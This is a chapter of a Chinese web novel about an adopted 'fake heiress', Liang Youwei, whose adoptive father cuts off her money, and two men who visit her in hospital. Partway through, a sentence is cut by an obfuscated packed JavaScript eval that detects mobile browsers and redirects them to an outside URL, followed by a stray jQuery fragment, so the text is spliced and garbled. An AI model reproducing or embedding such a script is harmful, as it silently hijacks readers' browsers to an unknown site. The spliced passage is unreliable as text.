深夜本该宁静,梁家主宅却是一阵鸡飞狗跳。
“梁江升!你就一定要做得这么绝吗?”贺女士眼眶通红,“幼薇被你逼得离家出走,现在浑身过敏!她发烧了难受了,你就舒服了是不是?”
“贺静淑你能不能讲点儿理?”
梁父对妻子很头疼,他冷冷淡淡:“她不是我的亲生女儿,更不是你的,我养她做什么?还离家出走,这是她的家吗?至于什么浑身过敏,更是活该。自己是什么体质心里没数,沾了脏东西能怪谁?”
哭哭哭,整天就知道哭。哭完了还得向他要这要那,真是冤家。
贺女士气得颤抖:“我们养了她二十一年!梁江升,整整二十一年,你到底有没有心?你就不知道心疼心疼幼薇吗?你今天要把她赶出家门,明天是不是也要和我离婚了?”
得知真相的贺女士整整愣了三个小时,可她刚决定以后接着养梁幼薇时,老大老二就给她来电话,说找不到梁幼薇,问她是不是跑自己这儿来了。
电话打不通,消息也不回,贺女士哭到眼睛疼,结果丈夫还一副无所谓的样子。
“离什么离,别乱讲话。最迟三天,咱们亲女儿应该能找到。”
寂静中,梁父直接换了个话题,重新开口:“错位的事,还是早点回到正轨比较好。”
听完丈夫的话,贺女士心底一跳。想到素未谋面、不知过得如何的亲生女儿,她语气弱下来。
“……梁家又不差钱,多养一个幼薇也没事。”贺女士抿唇,“你干嘛非要让她搬出去?幼薇就是娇气了点,人不坏,肯定会好好对咱们亲闺女,她们两姐妹一定能好好相处的。”
好歹养了这么久,贺女士对梁幼薇的感情很深,根本不能接受她的离开。
“遗产里,该她的一份都不少,行了吧。”梁父退了半步,但依旧没有松口住所问题,“她不是没房子,在哪儿住都一样。”
在主宅住,反倒污了自己的眼。
贺女士咬紧唇,听到遗产分配时平静下来,她用词谨慎,声音也轻:“所以,幼薇的待遇是不变的,对不对?”
女人用哭到水红的眸子盯着他,楚楚可怜。
“给她的房子我不会收回来,但卡已经停了。”梁父盯着她看了会儿,然后收回目光,按了按太阳穴,“她之前的存款够她过一辈子,如果还想要更多,就让她自己想办法去,我不管。你的卡我不动,但你别想着贴补她,否则都停了。”
梁江升心里还有一句还说出来。
他会和梁幼薇解除父女关系的。梁幼薇不可能做一辈子梁家人来碍眼。
贺女士忍住抽泣哦了声,过了会儿又道:“我还有件事。”
梁父皱眉给她递纸巾:“和梁幼薇无关,就说。”
“那小三小四的孩子……”她语气试探,梁父不等她说完就回:“打掉了。”
心里长松口气,贺女士放心地擦掉眼泪,往梁江升那儿靠近些,挽住他小臂,变脸速度很快:“老公,你知道的,我平常也不会这么胡闹,这次就是你太过分了嘛……”
梁父没说话,只任由她动作撒娇。
*
翌日清晨,私人医院。
一闻到略带辛辣味道的香水味,梁幼薇就知道了来人是谁。他带来的羽毛尖尖时而拂过鼻尖,时而挠挠下巴,逗猫似的。
心头涌上羞赧,梁幼薇也不想再装睡,直接一拉被子,把巴掌大的脸蒙起来:“邵樾哥,我困……”
香水后调是淡淡的木质香气,温柔地盖下来,只是声音一点也不温柔:“装什么呢?醒了就起吧,别总躺着。”
被子一掀开,梁幼薇就撞进了双桃花眼,多情又轻佻。
男人穿着休闲西装,却丝毫遮盖不了宽肩窄腰的身材,前两个扣子都没扣,露出形状好看的锁骨。见女孩总算不蒙着自己了,他直起身子,随手拉把椅子坐下,似笑非笑地瞧着她:
“怎么回事?还过敏进医院了。”
梁幼薇才不说是离家出走,她把头一转,抿着嘴巴:“没什么事的。”
昨天哭得太多,她的眼皮和双颊还没有消肿,红红润润的,像熟透了的蜜桃。
邵樾只看一瞬便收回目光。他身子向后靠,声音平淡:“如果没事,昨晚为什么要离家出走?还多了个姐姐。”
梁幼薇一听这话就不高兴,可她向来是不想对邵樾发脾气的,只瘪着嘴偏过身子:“我才没有离家出走……”
“早餐要凉了。”她话音未落,病房门被拧开,另一道偏清冷的声音响起。
邵樾漫不经心地飘过目光,发现是老熟人。
今天是工作日,秦臻要上班。
他穿正装,西装扣子一丝不苟地从头顺到尾,黑白机械表稳妥地戴在左腕。偏偏手里却提着个层层叠叠的牛角袋,和周身气质很不相符。
——梁幼薇爱吃秦家附近的一个路边摊,说那里的包子豆汁简直是人间至美,不吃就难受。
秦臻记性好,每次来见梁幼薇都会带她爱吃的东西来,如果时间是早上,基本都是那里的餐点。不过今天他得工作,怕味道太大,只带了包子豆浆。
“今天先将就一下,等周末再带你去喝豆汁。”
秦臻把早饭摆在小桌上,插吸管、掰筷子,熟练又认真。做好这些,他自然地走进卫生间,放热水挤牙膏,一气呵成。
听到这动静,梁幼薇总算满意几分,她悄咪咪地瞪邵樾一眼,才撇着嘴下床穿鞋子。
邵樾哥好像提前给自己摆好了鞋子方向,穿着很方便。
“你昨晚吹了冷风,发烧又过敏,有些东西不能吃。”秦臻面上没什么大表情,把公文包里的纸张放一旁的小沙发里,“我让医生列了单子,点外卖时注意些就好。”
“嗯,”梁幼薇专心喝豆浆,随口道谢,“谢谢秦臻哥噢。”
晨光透过窗,照出女孩面上的细小绒毛。她皮肤白,泛着粉,像是张爱玲在小说里形容的粉蒸肉。
秦臻静静地看着她,一直低头回消息的邵樾突然出声:“秦总,不急着上班吗?”
仿佛是随口问,满不在意的口吻。
秦臻瞥他一眼:“不急。怎么,你也不急着约会吗?”他回敬,“最近和港岛小姐打得火热的,不是你?”
低头吃饭的梁幼薇并
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15571188|171483||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
没察觉男人之间的暗潮汹涌,但听到秦臻说起“港岛小姐”时,原本还算不错的心情突然跌下来,眼睫也颤了颤。
好像就没那么开心了。
邵樾与秦臻对视,最后只是嗤笑道:“秦总想要么?给你介绍一个,也不是不行。”
“不用了,多谢邵总美意。”秦臻收回目光,结束这场无声的战火,“我不需要。”
看梁幼薇安生地吃完早饭,秦臻起身离开:“下班了再来看你。”
“秦臻哥你少看我、多想想自己吧。都二十三四的人了,连女孩子的手都没牵过。”
梁幼薇压下那股莫名的不舒服,不假思索道,“上次去你家时,江阿姨还问我你的性取向问题呢,你不谈恋爱,她都有这个怀疑了。”
秦臻面不改色:“你怎么说的?”
“我能怎么说?”梁幼薇杏眼睁圆,“那肯定是帮你找补了。我说你现在只想工作立业,暂时不考虑恋爱成家。”她皱皱鼻子,忍不住吐槽,“姚阿姨是你妈妈,居然连你性冷淡都不知道,还得来问我……”
秦臻很平静地听她吐槽完,全部应下:“说得很对,我先走了。”
“哦,拜拜,祝你赚很多钱。”梁幼薇觉得没趣儿,和他告别。
秦臻走后没多久,梁幼薇玩了会儿手机,又瞟了眼邵樾——他还在打字回消息。
给自己发消息是随口说话,跟别人发消息,就是字斟句酌地打字……
这么想着,她无意识地瞟了那人好几眼。直到,那人黑了手机屏,修长的指节反手扣住屏幕,笑意盎然地看向自己:“幼薇,想说什么?”
“……邵樾哥哥,我想喝豆腐脑。”偷懒被抓包,梁幼薇连忙躲闪他的眼神,低头小声说。
“不是刚吃完早饭么。”邵樾没马上答应,只淡淡问。
梁幼薇本来就没想着吃什么豆腐脑,吃食不过是个托词。但一提起这三个字,她鼻尖仿佛真有了那股香气,心里也馋了,语气弱弱:“可是突然就很想吃啊,怎么办?”
邵樾乐了,低头闷声笑:“怎么办?给你买呗。除了豆腐脑要咸的,还要不要脆酸笋?我记得你喜欢吃这个。”
“要的!”听到最后一句,梁幼薇眼里的星星又亮了:“我要吃脆酸笋。”
邵樾从椅子上站起来:“等着。”
梁幼薇雀跃,不停点头。每次看她这样,邵樾都觉得很可爱。他随手摸摸她的头,像是在逗小猫。
目光看不到那人背影后,梁幼薇重新打开手机,突然想到了一件很重要的事。抿抿唇,进入银行app页面。
听妈妈说,梁老头已经断了原先的卡,也不让她来接济自己。也就是说,自己现在只能靠从前的存款过活。
如今的梁幼薇不敢向兄姐要卡花,毕竟她不是真千金。一个冒牌货,能享受他们的爱已是难得,还有什么脸问他们要钱。
来来回回地数了遍八位数余额,梁幼薇稍稍放心,但很快,她又忧愁起来。自己花钱如流水惯了,心里也没杆秤,这点钱够她花多久呢?
梁幼薇算都不知道从何算起。
整张脸埋起来,她又苦恼了。